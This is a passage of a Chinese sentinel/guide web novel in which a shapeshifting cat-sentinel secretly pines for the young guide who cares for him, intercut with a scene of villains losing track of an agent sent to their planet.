陆厌离难堪地咬住嘴唇，喘着气，蜷缩起双腿，把头埋在双臂之间。一边平复心情一边等着身体重归正常。 可熟悉的身体这会儿却像是背叛了他，丝毫不听主人的命令，随着更多的记忆闪过脑海，一点儿一点儿又甦醒了过来。 陆厌离双腿一点一点颤抖起来，刚才的一幅幅画面不断地浮现在他眼前，缠着他不愿离去。 男人的脸离得他那么近那么近，明明是他一心依赖亲近的人，他却可耻的发现，那时浮现在他心中的，除了眷恋，还有许多肮脏的亵渎欲|望。 陆厌离死死捏着手心的伤口，唾弃着自己的卑劣，脑子里却又无法克制地浮想联翩。以前听过的一些糙话荤段子，纷纷在此时冒出了头，无数旖旎画面轮番在脑海里上演。 精神上的罪恶感与身体上的快乐混杂在一起，在他的心中翻搅。精神力场也随着他起伏不定地情绪翻起了浪潮。 五感受此刺激，又不由自主地放大了反馈的信号。陆厌离绝望地发现，刚刚平复下去的身体，再次沸腾了起来。 狠狠夹紧双腿，陆厌离羞愧地往远离江寻的方向侧过身去，不愿把自己狼狈又羞耻的模样展现在江寻面前。 缩成一团忍耐着，哀泣着，与身体的本能搏斗。 时间在无声的挣扎中慢慢过去，待得陆厌离彻底平静下来，整个人已经汗涔涔湿淋淋，无力地瘫软了手脚—— 作者有话说：这周耗尽存稿努力一把[让我康康]快夸我！ 第60章 鸟鸣声中， 新的一天来临。 江寻伸了个懒腰，眯着眼睛打了个大大的哈欠。 脖颈子里又痒又热，习惯地抬手， 顺了顺凑在自己颈窝里睡得正香的猫猫， 手上的触感却让他顿了一顿。 嗯？怎么有点潮？ 江寻疑惑地反手捻了捻指尖， 半抬起身，又往猫猫背毛里探进去，同样有股潮潮的感觉。 疑惑地看了看被子， 又看了看猫猫一身的长毛。 太热了？ 嗯……长毛太厚了吧？也该换春被了。 江寻脑子里转了转， 记下这事，便当先起身开始进行一天的日程。 待得猫猫睡到自然醒，又服侍它吃过了早餐，一人一猫便再次整装出了门。 * “怎么了？今天怎么这么没精神？”江寻蹲下身来，摸了摸猫猫的脑袋。 时间刚刚过午，以往这会儿正是小树最活跃的时候， 今天却没有前前后后的跑动， 始终蔫嗒嗒地贴在他身边。 猫猫轻轻叫了一声， 凑近上来，头向上一伸， 搭上江寻的肩膀便趴住不动了。 看了看天色，江寻果断地一把抱起猫猫， 把今天收集到的资源统统塞进折叠腰包里，便踏上了回家的步伐。 边走边抬手摸上了猫猫的肚子， 感受下温度。 是昨天晚上热出汗来，白天被风一吹反而受凉了吗？ 江寻寻思一下，手上感受到的温度却好像没有什么异常。 一回家，随手把装备丢在门口， 便抱着猫猫进了治疗舱，却也没检查出来什么问题。 仔细想想，最近给小树治疗时也没发现什么异常，反而净化的速度都随着他对能力的熟悉变快了许多。 想着想着，江寻狐疑地看向猫猫，它不会是又瞒着自己做了什么吧？ 突然想到早上猫猫身上潮湿的感觉，江寻眯起眼睛，心下急转。 它该不会趁着晚上我睡着的时候出过门？ 江寻正要再问，却被打断。 猫猫也不知道是心虚，还是看出了他要追问，一出了治疗舱，看都没看他一眼，就一跃而出，转眼便跑没了踪影。 江寻见状无法，也只好先把这件事放到了一边。 整理完今日的收获，还是没见到小树出来，便当先步入了训练室，继续今日份的训练。 今天回来得早，江寻便拉长了室内训练时间。 待他加倍完成了今日份的练习，窗外已经只剩下了夕阳的余晖。 出门找了一圈，还是没看到猫猫出来，只好摇了摇头，一边解着扣子一边进了浴室。 浴室门刚刚关上，陆厌离便轻巧地踱了进来。 看了隐隐映照出人影的毛玻璃一眼，悄无声息地靠了过去。 他倒是没有什么不好的想法，只是昨天夜里折腾得太累了，过程中还发生了一点儿意外，今天每每看到江寻都有些心虚，想要躲开。 可随着江寻每日里的疏导，他对江寻的依赖感也越来越深，这么一下午不见，已经有些想他了。 陆厌离在门外来回转悠，只是看到了江寻模糊的影子，便让他躁动的心思安稳了下来。 正蹲坐着看着浴室中晃动的人影，一缕熟悉的味道却轻飘飘地从鼻尖飘过。 陆厌离鼻子动了动，马上准确地找到了方向，扭头看去，一筐搭着几件衣服的篓子映入了眼帘。 走近几步，味道更加明显了，陆厌离忍不住一个跳跃，钻进了盛放着衣服的篓子里，熟悉的气息立马把他周身包围。 陆厌离心跳快了几分，凑近搭在篓子边缘的上衣，低头蹭过去。熟悉的气味让他像是蹭在江寻身上。 忍不住把衣服从边缘扒拉下来，一低头顺着领口钻了进去。 刚换下来的衣服布满了男人的气息，还带着一些温热，陆厌离团团卧下，心中瞬间被无比的安心填满。 头深深埋下去，一寸一寸从衣服上闻过去，恨不得把上面沾染到的味道全部吞吃入腹。 正沉浸在这无比的安心感中，却敏锐地听到旁边浴室中的水声慢慢变小，直至停止。 陆厌离停顿了一下，也不知怎么想的，从衣服里钻出来，低头一叼，便拖着这件上衣啪嗒啪嗒地跑走了。 江寻一打开浴室的门，便听到了熟悉的脚步声，正要打招呼，却见猫猫根本没看他，一扭身便头也不回地跑走了，地上还拖着一件眼熟的衣服。 嗯？ 江寻手伸到一半，莫名其妙地看着猫猫的动静，再低头看看脚边放着的衣篓，确定自己没有看错。 它叼我衣服干嘛？ 江寻对猫猫的奇怪行为丈二和尚摸不着头脑，快速换好干净衣服，便追了上去。 可下了楼却找不到它的影子，在家里翻腾了半天，才在大厅墙壁最上方的猫爬架小木屋里，看到了它的脑袋。 猫猫正蹲坐在小木屋里，把脑袋从前面的圆窗中伸出来，不声不响地眨着眼睛看着他。 江寻好气又好笑：“找你半天了，你也不出声，就坐在那里看我啊？” “你拿我衣服做什么？”江寻四下看看，也没发现自己丢失的衣服的踪迹，“快还给我呀，我都没做几件衣服，让我拿去洗了，下次还要穿呢。” 猫猫闻言却毫无动静，继续眨巴着大眼睛看着他。 江寻在下面劝了良久都未果，想想今天小树似乎不太舒服的样子，心下无奈又好笑，只好放弃了追讨。 只是晚间梳毛的时候，凝聚出的触须比平日里多了好几成，直把猫猫玩弄得连起身亲热讨饶都做不到，才罢了手。 * 平静的日子里，时间过得很快。 江寻对猫猫的治疗在他的每日努力下进展很快。 那片浓雾空间中已经空了大半，笼罩封锁住那一片孤岛空间的雾障，也薄了许多，时不时可以透过露出的缝隙看到内部的风景。 江寻的训练进度也在科学的训练计划指导下，飞速跨步。 唯一让他有点困扰的就是，自从那天被当面抢走衣服之后，他身边的一些小玩意儿便开始三不五时的失踪。 有时是一个水杯，有时是一把梳子，更有甚者，他还看到过小树，把他用完随手丢下的纸巾也叼了去。 他打扫家里的时候也没找到这些东西的影子，也不知道小树是把它们藏在了哪里。 这天，江寻照例在下午躺进了训练舱，可原本要持续运转三个小时的训练舱，却在不到两个小时后便自动停止了运行，把江寻放了出来。 电极丝一点一点从身上脱离，江寻喘息着半坐起来，靠在舱壁上，感受着一块块青紫浮现在他的身上。 今天，他第一次尝试了一下训练空间中，标注为D级的综合实力关卡。 不出意外的失败了。 他有心里准备，毕竟最初级的基础战术关卡，他也花费了不斐的时间训练才成功通过。可他实在没想到只是上升了一个等级，难度居然上升了这么多。 一些技巧类、需要准确度控制力的项目还好说，他虽然还没到达相应的标准，但怎么提升心里是有数的。 可一些硬实力的项目，需要实实在在的高强身体素质的项目，实在让他望尘莫及。 他甚至怀疑真的有人能达到这种身体素质吗？难道这个星际世界的人类，已经进化到了这种程度？ 更不要说，这些关卡在训练舱的评级系统中，还只排在D级，他实在难以想象，最高的A级S级，究竟要达到什么样的标准。 这就是这里的“超级士兵”吗？ 江寻沉沉叹了口气，拍了拍脸颊，暂时放下了这些烦恼。 这也没有办法，他是个地球人，天生就无法拥有和这里的人一样的初始条件。已经无法改变的事，苦恼也没有用，不如多想想办法，找到能够让自己安身立命的长处。 毕竟他本就没想过要在这个陌生的世界里走到多高，他只要能保护好自己，获得那个旧主人的认可带走小树就可以了。 提起精神来，冲了个澡洗去身上的汗渍。水流冲击在身上的淤青上，泛起一阵阵刺痒隐痛。 这段时间以来，这样的小伤他受得多了，也培养出了免疫力、耐受力，也就没去管这些。 可他不在意，猫猫却不是这么想的。 他洗好刚出门，只套着一条裤子，还没来得及套上上衣，便被猫猫催促着坐上了床沿。床边的矮柜上，已经零零碎碎地摆上了好几种伤药。 没等他拒绝，猫猫已经一跃跳上他的膝盖，人立而起，把他推坐了下来。 小心地把爪子避开他身上的青紫，凑上前来，轻轻舔舐起他颈侧的红痕。 江寻原本还觉得没什么，可伤处一被猫猫长着倒刺的舌头舔到，便引起一阵直让人打哆嗦的奇怪感觉。 疼倒是不疼，甚至在猫猫舔上去时，伤处还木木地损失了一部分知觉。可这股木劲儿一过去，伤处反而变得敏感了许多，被湿热的粗糙舌头舔过，便翻滚出一大片麻痒来。 江寻忍不住脖子一缩，挡住了猫猫的安慰。 “好了好了，这会儿别舔，好痒啊！我擦药还不行吗！” 江寻哭笑不得地在自家猫猫心疼的目光下投了降，在它的监督下，一点点给身上的伤处都涂上了药膏。 猫猫这才放过了他，尾巴一卷攀住他的手臂，软软贴上他，伸出头去蹭了蹭他的下巴。 既然提前结束了今天的训练，剩下的时间江寻也没有浪费。 重新把最近收集到的资源、标本整理了一遍，在制备室里设定好接下来几天需要制备的产品。 又抓着小树梳毛、进混沌空间里大刀阔斧地清理掉一大片灰雾，把能量用得干干净净，这才搂着小树，沉沉地坠入了梦乡之中。 待他彻底睡着之后，怀里紧搂着的身躯忽然一散又一凝，赤|裸着的苍白男子再次出现在了他床上。 * 陆厌离一变回人形，便感受到了江寻的胳膊箍在自己身上的力度，闻到极近处独属于他的味道。忍不住轻喘一声，两手虚虚抓住他的衣襟，如猫身时那样，脑袋轻抵上他的胸膛，眷恋地蹭了蹭。 听着江寻的心跳声，又躺了良久，这才慢慢往下缩出身子，脱离了江寻的怀抱。 他其实不必每次都这么急着变成人形，再承担着惊醒江寻的危险，从他怀里脱离出去。先用猫身脱身开来，再变化，明显比现在安全的多。 可他却好像根本没想到这个办法一样，每次都要先在江寻怀里变化过去，再偷偷小心的脱身。 这其中的原因被他有意忽略了过去。 今天江寻抱得有点紧，他脱身的时候还要小心着不要碰到江寻身上的淤青。行动间不可避免地多了些摩擦。 江寻穿着睡衣还好，可到了他这里，蹭一下便要红一大片，待他从被子里脱身出来，整个上半身已经洇上了一层浅浅的玫瑰色。 陆厌离坐上床头，双手抱肘摩挲着自己身上被蹭红了的地方，手指忍不住使力。 被蹭到的地方在他的用力按压下更红了，可他的面上却一点儿不见痛楚，反而迷蒙蒙一副沉迷表情。 他就这么敞开着自己，任早春的凉爽空气拂过他身上燥热的皮肉，带走温度，慢慢平静下来。 等他吁出口气，彻底清醒过来时，身上好几处皮肉，已经在他自己的按压下隐隐渗出血点，与江寻身上一样，泛起片片青紫来。 陆厌离丝毫没有在意自己身上的淤青，第一时间便挪到江寻身边，如同往日一般，揉捏上江寻的头发，兢兢业业地完成了今天的任务。 江寻睡得更沉了，可萦绕在他周身的精神力却活跃了起来，把空气都搅动了起来。 手中的发丝在流动的空气中微微摇摆，落在他手上的发丝摇摆着，若即若离地在他手心画圈。 陆厌离只感觉手心在此时变得无比的敏感，这一点点的痒，一被捕捉到便急速扩张起来，喧嚷着反馈回了他的神经中枢里。 于是，这一点皮肉上的痒便化为了心田里的痒，让他平静下来的心湖再次泛起了涟漪。 这段时间以来，他谨守着宠物的位置，忍耐再忍耐，不敢再越雷池一步。可他越是克制，心底却越是煎熬难耐，以至于实在忍不住，偷偷拿走了一些带着江寻气息的东西陪伴自己。 可这些死物，哪及每天都与自己亲密以对的大活人？这种安慰，如同隔靴搔痒，非但没能缓解他的渴望，还让这种渴望一点点堆积了起来。 特别是在这种夜深人静的时刻，对方毫无防备地躺在他面前任他予取予求，这种渴望便发作得愈加剧烈起来。 以至于，一点点流动的空气便掀起了涟漪；手心里的这一点点的痒，便轻易点燃了他心中的渴望。 陆厌离手指交缠起来，把指间的发丝一缕缕翻卷起来缠绕在他的手指上。细细感受着根根分明的发丝从指缝间溜走的感觉。 把手掌从江寻脑后深深插进去，让头发浸没他的手掌，让每个手指的缝隙里，都沾染上江寻的气息。 他看着自己的双手在江寻发间沉沉浮浮，来回游走，苍白与乌黑泾渭分明地互相穿插，又在泛红的月光下被渲染上一层迷离。 眼睛慢慢发直，喉咙滚动一下，脊背呻|吟着压了下去，双手托起满满一捧满溢着诱惑的黑发，脸庞深深埋了进去。 一瞬间，口鼻便被渴望的气息完全侵占了去。 陆厌离还嫌不够，双手再次用力，几乎是挤压一般把手心中捧着的发丝按向自己的面庞。 紧合的双手阻隔了空气，微微的窒息感袭来，陆厌离感觉有点头晕目眩，却仍是舍不得放过一丝一毫渴望的气息，不管不顾地抽动着口鼻，攫取着发间浮动着的气息。 直到缺氧让他眼前开始阵阵发黑，胸腔都嗡鸣了起来，才一个剧烈的喘息，抬起了头来。 张大嘴巴无声地使劲儿吸着氧气，缺氧令陆厌离失去了力气，整个人蜷缩跪趴着起不了身。 他的脸颊不正常的泛红，眼眶洇湿，眼神都有点涣散，半天无法对焦。 双手却仍然纹丝不动地高高捧着那一手的黑色发丝。 深呼吸几下，刚补充上氧气，便再次深深低下头去，带着些虔诚，带着些眷念，一下又一下吻在手心的发丝上。 眼眶里充溢的点点泪水终于忍不住滑落了下来。 这一下，吓了陆厌离一跳，再顾不得捧在手里的发丝，撒手就抹上了自己的脸颊。 还好他动作快，那一滴泪珠还没落下便被阻住。 陆厌离带着些心虚看了眼仍然无声无息地躺着，浑然不知自己逃过一劫的江寻，默默去浴室洗干净了手指和脸庞，这才重新上了床榻。 距离天亮还早，今晚的工作又已经做完了。还不想睡觉，陆厌离环膝而坐，脑袋往胳膊上一枕，垂下眼帘，就那么呆呆地看着江寻。 一阵轻风顺着窗户的缝隙溜了进来，绕着呆坐着的人转了一圈。 陆厌离脊背被这股风轻轻拂过，忽地抖了一下，扭过头去，捂住嘴巴打了个小小的喷嚏。 早春的温度还是有些寒凉的，寂静星上昼夜温差也比许多宜居星都要大。 陆厌离刚刚还用冷水清洗了自己，又没有蔽体的衣物，几番因素相加下来，任是他拥有顶级哨兵的体魄，此时也察觉到了一丝凉意。 这种程度的不适，在他过去十年的生活里，根本不值一提。可不知为何，如今再遇到，却突然无法忍受了，从心底泛起股酸涩委屈来。 陆厌离的嘴角在自己没察觉到的时候便垂了下来，低头又看了睡得正香的江寻一眼，嘴巴一抿，掀开被子就钻了进去。 被窝里被另一个人的体温烘得暖融融的，一钻进去陆厌离马上就舒展了眉头。 看了眼头顶上横放着的手臂，陆厌离在被窝的小小空间里蜷缩了起来，用力地搓揉着自己的手脚，直到感觉身上热了起来，才小心翼翼地往上方爬去。 爬到一半，眼睛却又被江寻露出来的一截腰腹所吸引。 被窝里很黑，但哨兵卓越的夜视能力，在此时派上了用场。 江寻一向睡得随意，睡衣也选得宽松，稍微翻翻身，便露出了一截腰腹来。 陆厌离记得刚刚遇到他，被他捉着洗澡的时候，江寻的腰腹间，虽然能看出一点肌肉的形状，但捏一下，还能捏出一些软肉来。 如今，这些软肉经过这么长时间的锻炼，却是已经完全不见了踪影，只剩下了块垒分明的腹肌。 他的胯骨和腹肌，撑起了裤腰，腹股沟处却深深凹陷下去，形成一条幽深的沟壑，直入裤下隐蔽处，让人格外想探究这条线的尽头，是什么样子。 陆厌离喉结滚动一下，有些出神。看着这截精悍的腰线，脑子里又不合时宜地蹦出些朦胧画面来。 男性的身躯他见得多了，不管是在塔中还是军中，战场上还是愈灵殿里，比江寻优秀的身材他不知见了多少。可那时看着，便如看到路边的一块石头似的司空见惯，从没吸引过他的视线。 可此时，这些落在了江寻身上，他却觉得诱惑至极，只是一道普普通通的肌肉线条都让人浮想联翩。 陆厌离的视线如有实质般，顺着江寻肌肉的线条向上滑去，直至看到从腰侧斜斜划过的一道青紫红痕。 顿了一下，他伸出食指小心地点在那道痕迹上，心中旖旎的想法一点点散去，只余下酸涩心疼。 目光顺着江寻的胸膛向上寻去，颈下、锁骨上，更多或深或浅的痕迹映入眼底。 只是暴露在外面的部分，便有这么多，可想而知，被睡衣覆盖住的身体上，还有多少青紫淤伤。 陆厌离的指尖跟着他的目光，一个一个虚点在江寻身上，仔细看过身上每一道伤痕。 他的脑子里几乎能重现出这些痕迹都是在怎样的攻击下造成的，而江寻又是怎样在这样密集的攻势下艰难前进。 无力感涌上心头。 江寻真的只想把他当做宠物，他宁愿以向导的身份去学习哨兵的训练课程，强迫自己跨越生理限制，学会战斗，宁愿每天训练到一身的伤，疲惫得昏睡过去，也不愿意借助自己的力量。 他明明每天在自己身上，花费了那么多时间与精神力为他疏导，让自己一点一点好起来，却不愿意利用自己被他恢复过来的力量。 如果是这样的话，那自己又凭什么这样白占了江寻的好处呢？ 陆厌离原本从没怀疑过自己是否应该接受江寻的这份好意，如今却越来越犹豫起来。 省下为自己治疗的这份工夫，他明明可以让自己进步得更好的，也不会每天都受到精神匮乏的困扰。 他本就是个珍贵的向导，还一直到了成年以后才突然觉醒，已经很不容易了。如果不是与自己一起被困在这寂静星上，他早就应该在刚觉醒的时候就被塔发现，接进塔中得到很好的照顾和培养。 如今，不仅需要自己辛苦地做哨兵训练，天天都受伤，还要被自己拖累，随时面临着生命危险。 他其实根本不需要自己的力量，自己留在他身边，不但一点儿忙也帮不上，还要拖累他。 陆厌离抬头看向江寻沉睡的面庞。 他还这么年轻，又这么聪明努力，不论选择什么样的路都能凭自己走得很好。自己这么一直缠着他，想让他做自己的向导和自己在一起，真的是对的吗？ 陆厌离手指蜷了蜷。 他完全不需要我，一直都是我在需要他。 我对他来说，一直都是没有用处的。 只是凭借着一个爱宠的身份才能留在他身边，得到他的爱护。 如果有一天，我失去了这个身份，那我还能用什么留住他？ 陆厌离心中酸涩惶恐，缩起双腿蜷缩起来，低头探入江寻虚虚搭着的双臂之间，小心地把自己置入江寻的怀抱中，轻轻偎上他的胸前，两指紧抓住他的前襟。 如果有一天，他发现了我的秘密，还会愿意要我吗？ * “阿嚏！” 一大早，眼睛还没睁开，江寻便觉得鼻下痒痒的，忍不住打了个喷嚏，醒了过来。 睁眼一看，胸前好大一团毛茸茸，和个小火炉一样，紧紧扒在他身上。 也不知猫猫是怎么睡的，一身的长毛让它滚得乱七八糟，浮毛乱飞。被窝里，他身上，长长的灰色猫毛被沾得哪哪都是。 江寻一挑眉，暗自在心里算下时间，了悟。 春天要到了，这是该换毛了吧？ 江寻伸手在小树背上薅了一把抓起一看，果然，一夹之下，指缝间就被长长短短的绒毛占满了。 于是，吃完早餐之后，江寻少见的没有出门也没有去训练，而是抱着小树坐到了沙发上，取出新做出来的长齿梳，开始给小树清理起浮毛来。 之前他为小树梳毛，用的一直是和自己一样的梳子。可最近小树长得越来越好了，全身的长毛开始爆发性的猛长，整只猫看着比原来胖了好大一圈。 身上的长毛和波浪似的，一抖就是洋洋洒洒的一大片，惹得江寻整日里总是抱着它猛撸。 旧时的短梳子，用起来早就很勉强了，正好，又到了需要勤梳毛的春天，江寻干脆便专门去制备室，给它做了一把专用的长梳子。 “小树过来，爸爸给你梳毛。” 江寻拍拍大腿，冲着脚边一路跟着的猫猫说道。 陆厌离看了看江寻，一跃跳上沙发，伸出爪子勾了勾平铺在江寻膝盖上的大浴巾，狐疑地看向江寻。 江寻愣了一下，马上明白了过来：“这回不是骗你去洗澡啦，只是怕掉的毛太多等下难收拾。” 掉……掉毛？！ 陆厌离睁大了眼睛，忙扭头看向自己身上。 尾巴适时地打了个卷，便有几根长长的灰色毛毛被甩了出来，慢悠悠地飘荡着落了地。 江寻眼看着猫猫眼睛大睁，看着自己身上掉下来的长毛毛，一副大受打击的模样，忍俊不禁地笑出声来，飞快伸手抓住了又想逃跑的猫猫，一把薅进了怀里箍住。 “好啦好啦，掉毛很正常呀，旧的不去新的不来嘛，就算掉毛了，我们小树也是最帅气的猫猫！” 抱着猫猫又是亲又是哄，好半天，才哄得它不再挣扎，一副生无可恋的样子趴卧了下来。 给猫猫梳了这么久的毛，江寻早已驾轻就熟。摆弄着它的爪子一会儿换个姿势，一会儿换个方向，直把一开始不愿意梳毛的猫猫，舒服得眯起了眼睛。 江寻一手探入长毛里固定，一手利落地挥动长梳，很快，铺在膝盖上的浴巾上，就落了厚厚一层灰白渐变的长毛。 江寻看着猫猫的样子一乐，明明已经梳落下这么多长毛了，它一眼看过去居然还和刚开始的时候毫无差别。也不知道这些毛毛，平时都是藏在哪里的。 他的手指穿梭在毛发根部，贴着小树的皮肉一寸寸抚摸过去，很久以前那满身的伤痕已经在时光的冲刷下，慢慢失去了踪迹。 入手一片温热绵软，流动的肌肉充满了勃勃生机。 手指撸至尾根，两指一圈，箍着它的大尾巴往下捋去，顺滑蓬松的长毛温顺地随着他的动作倒伏下来。 手指滑过，如滑过上好的丝缎一般，捋至尾尖，那尾巴还灵活地一勾，在他的手心画了个圈圈，这才顺应着重力滑落下去。 江寻心中被满足感充溢，忍不住抱起小树，冲着它的脑门脸蛋重重猛亲几下，直亲得猫猫整个后仰过去，不住地开始“喵喵”叫唤这才作罢。 梳理下来的一堆毛毛，江寻也没有丢掉，专门取了个大盒子，把长毛统统储藏了进去。 等这些毛毛存得更多一些了，用它们做些好玩的东西吧，江寻噙着笑意，暗自计划。 * 与此同时，遥远光年之外。 安静的操作间里，围绕着墙壁一圈的阵列计算机中数据如雨而下，身着统一制服的操作员很多，却每个人都埋着头手速极快地敲击着。 房间中央，一个面色阴沉的中年人一言不发地立着，气氛随着他的面色变化愈见凝滞。 “十天了，庞克还没有发消息回来？”中年男人鼻子猛地向外喷了口气，声音阴沉地问道。 一众坐着的操作员们手一抖，头更深地埋了下去。 无人应声。 “他身上植入的发信器呢？你们不要告诉我，到现在连一点儿信息也没得到！”勉强压制下怒火，中年男人面色嘲讽地问道。 坐在计算机前的操作员们你看看我，我看看你，坐在最边上的一个年轻男人，被旁边的人猛得一推，踉跄着摔了出去，只得硬着头皮站了起来。 “这……信号显示他七天前就登陆了寂静星，但是之后，不到一天时间，信号就消失了，这……” 中年男人终于控制不住自己的脾气：“你们都是干嘛吃的！老板在你们身上花了多少钱？！我们都已经帮你们绕过中央智脑了，只是要你们监控个人都干不好？现在连亲自跑上面去的人都找不到了？！你们告诉我！这么长时间了，你们究竟知道些什么？” 众人被吼得噤若寒蝉，年轻男人首当其冲，脸色发白，在强压下哆哆嗦嗦地说道：“有的，就是……就是收到的信号有点奇怪……” 中年男人面色稍缓，狐疑道：“什么奇怪？你们收到什么信号了？” “一个精神波动检测信号，但是……”，年轻的操作员面上现出不确定的神色，接着说道：“但是，是一个刚觉醒的向导的精神波动……” 操作员说着，自己也觉得匪夷所思，声音越来越小。 “胡说八道！”中年主管更加愤怒：“你是要告诉我，那个寂静星上，那个满是堕化高级哨兵的寂静星上，莫名其妙出现了一个小孩子，他还在那里觉醒了向导？！” “你们是不是……” “好了，闭嘴吧！” 中年主管正欲咆哮，话音却被一道平直的男声打断。 熟悉的凉薄声入耳，明明声音不大，却震得主管浑身一抖，面色难看下来。 回头看去，一个只在全息投影中见过的，永远穿着一身平整制服的人影，带着几个荷枪实弹的士兵，踏入了操作间。 男人带着一副窄框金丝眼睛，细长的眼睛看人轻飘飘的，似乎谁也没被他看进眼里。 “继续说，什么样的精神波动？除了这个，你们还检测到什么了？” 戴着眼镜的男人从主管身侧擦过，理也没理他。向着年轻的操作员问道。 年轻人瞟一眼脸色难看却一句话也不敢说的主管，忙半低下头，恭恭敬敬地回道：“数据显示，这段精神波动属于一个刚刚觉醒的未成年向导，波动峰值范围偏低，不确定是目标潜力等级较低还是波动残留时间过长，衰减了太多。” 年轻人偷偷抬眼看一眼面前不认识的大人物，见他仍是一副面无表情的样子，接着说道： “在庞克的信号刚出现在寂静星上时，我们还收到过他传送过来的检测信息，有疑似那位的精神毒素，曾在静默日之后出现过。不过一天以后，我们就失去他的所有信号了。” 听到这里，戴着眼镜的男人脸上终于有了变化，眼睛一眯，接着问道：“这是多久之前的事？那个庞克的信号消失的时候，没有检测到寂静星上有异常精神力出现吗？” 年轻操作员闻言，忙扭过头去，双手在他面前的计算机上一顿操作，而后转过身来答道：“庞克是在十天之前奉命去的寂静星，因为要寻找人手、绕过中央智脑的监控花费了一些时间。” “在七天前，我们收到了他的登陆舰在寂静星上着陆的信息。根据他身上植入的发信器显示，他登录后，曾在寂静星上活动了不到一天时间。于寂静星时间，登陆当天的夜晚一点左右，彻底失去信号。在他的信号消失前后，并没有发现明显的大型精神波动出现。” 戴着眼镜的男人闻言，眼神如刀，冰冷地看了一眼哆哆嗦嗦站在一边的主管，一句话也没对他说。 对着面前这个年轻的操作员抬了抬下巴，又随意地挥了挥手，转身就往外走去。 当即，身后两个魁梧精悍地士兵一言不发地越众而出，一左一右抓起这操作员，手一抬就把他拎了起来，转身便跟着当先离去的男人走了出去。 那年轻人被吓得惊声尖叫起来，声音刚起，却被身后传来的一阵沉闷枪响与凄厉惨叫打断。 年轻人面色一白，汗如雨下，再也不敢发出一点儿声音—— 作者有话说：开始做法！ 收藏涨，预收涨，作收长长长长涨[星星眼]《 》 60-65 第61章 红日西斜， 最后的余晖与高挂在墙壁上的小木屋依依惜别。 小木屋之中慢慢暗了下来。 铺在小木屋中间的一件套头衫中心鼓起一座小山丘。随着楼上渐响起的脚步声，小山丘动了起来，向着边缘蠕动过去。 衣服领口一动， 从中钻出一只睡得长毛乱飞的猫猫头来。 陆厌离睡眼朦胧地从梦中醒了过来， 伸长前爪伸了个大大的懒腰， 晃了晃脑袋，脊背一缩便从套头衫里钻了出来。 把散落在自己身边的各种七零八碎的小东西，重新拢进衣服里包好， 这才一个纵跃， 从侧板上的圆窗里跳了出去。 几步上了楼，一拐进房间，刚好看到江寻擦着头发，从浴室之中走出来。 一见到江寻，陆厌离半耷着的眼睛就马上睁大了开来，一个助跑跳跃， 就直接撞进了江寻怀里。 江寻被这迎面而来的重击推得一下子倒退了好几步， 一屁股坐在了床沿上， 话还来不及讲，又被翻身站起的猫猫一爪子压了下去， 头一低便凑到他颈窝里亲亲密密地蹭了起来。 江寻被毛茸茸的脑袋搔得痒了，一边笑着一边用手去挡。 “哎呀， 小树你这个粘人精，你等等……” 猫猫充耳不闻， 脖子被挡住了，就顺势蹭到了江寻手心里，又是亲又是舔，夹着嗓子长长的喵呜一声， 整个身子就往江寻手上倒。 江寻哭笑不得，毛巾在头上随意呼噜几下就往旁边一甩。 “好了好了，今天爸爸不训练了，剩下的时间都陪你玩好了吧？” 猫猫闻言，眼睛一亮，又讨好地舔了舔江寻的手心，这才一溜烟地往外跑去，一边跑还一边回头呼唤着江寻。 江寻无法，被猫猫缠着，又陪它玩了一晚上荡秋千、抓羽毛的游戏，直到天色完全黑了下来，这才抱着猫猫回房睡下。 也许是睡前的玩耍让他放松了许多，江寻今天虽然依然用尽了体内的能量，体感上却没有太难受，一躺下来，很快就坠入了甜梦。 江寻的意识沉眠了过去，体内的能量却逐渐甦醒过来，一缕一缕的精神力随着身体的欢欣，孕育而生。 不知过了多久，后脑一热，江寻的意识突然被什么触动，朦朦胧胧地“醒”了过来。 唔……好舒服…… 意识醒了，但神志还混沌着。 头皮上传来的酥麻感让他舒服得想要再次睡去。 ……怎么回事？ 他的脑子混混沌沌，但还是第一时间感到了不对劲。 透过眼皮的光，一明一暗地交替闪烁，好像有什么东西在他面前极近处晃动。 什么东西……？ 江寻下意识的调动起手臂，往前一捞。 * 许是下午的时候睡了觉，陆厌离晚上根本睡不着，闭眼装睡了半天，直到听到耳边的呼吸声变得绵长起来，便马上睁开了眼睛。 轻车熟路地变化为人形，第一时间为江寻做完补偿，陆厌离悄悄掀开被子，侧躺了下来，就这么看着江寻的睡颜出了神。 他的目光从男人饱满的额头，滑过笔挺的鼻梁，微张的嘴唇，在光洁的下巴打了个转，又顺着喉结锁骨一路滑了下去。 不知想到了什么，陆厌离眼睛闪了闪，喉咙上下滑动一下，又挪近了一步，鬼使神差的伸出手指点在了江寻有点干燥的嘴唇上。 轻轻按压了一下，陆厌离抬眼去看江寻闭着的眼睛。见他毫无所觉的样子，胆子大了起来，手指顺着视线流连过的线条一路往下滑去。 苍白的手指点在麦色的皮肤上慢慢滑动，在淡红的月光下，旖旎渐起。 陆厌离眼睛盯着自己的指尖有点发直，手指滑过皮肤压出一条顺滑的凹陷，又在下一秒弹起。指尖又酥又软，滑过的皮肤却柔韧而有力，推着他的手指前进。 明明是他在主动轻薄，此时陆厌离却觉得，躺在那里的那人却更像是主动方。 陆厌离眼睫有些抖，咽下一口口水，视线继续下滑，翻过凸起的锁骨，胸前深陷的沟壑，没入领口深处。手指便也跟着视线一路滑了下去。 眼睛在领口处徘徊良久，也不知是被窝里太热了还是怎么的，陆厌离只觉得一股一股的热气不停往他的脑子里冲，身体也慢慢热了起来。 抬眼再看一眼江寻，陆厌离头一低，慢慢滑了下去，在黑暗里摸索着，轻轻靠上了江寻的腰腹。 手指轻搭在江寻腰侧，陆厌离隔着一层薄薄的睡衣，把侧脸紧紧贴了上去。 轻喘着吐出一口气，只是这么贴着不动，便让他的脸颊止不住晕红了起来。 手指在腰线上下滑动，也不知是江寻身上的温度太高还是被窝里太热，陆厌离只觉得脸上紧贴着的地方烫得烧心，让他忍不住来回转着头颅，不住在面前这截腰腹上磨蹭。 整个人不由自主地蜷缩了起来，膝盖也颤颤巍巍地向前顶|弄过去。 空气沸腾起来，稀少的氧气让陆厌离有点昏沉，却反而升起股轻飘飘的快乐来。 陆厌离眼睛有点发红，明明心中溢满了满足与快乐，面上却似哭似笑，微仰起头，虔诚地隔着衣服吻上江寻的腰间。 满满的安心满足充溢陆厌离的心间，让他快乐得几欲流下泪来。陆厌离整个人正沉浸在这股强烈的情绪之中，紧贴着的躯体却突然动了。 还没等他从昏昏然中反应过来，下一秒，一双坚实的臂膀突然搂在了他的肩头。 * 江寻在睡梦中双臂一合，居然真的搂住了什么温热光滑的东西。 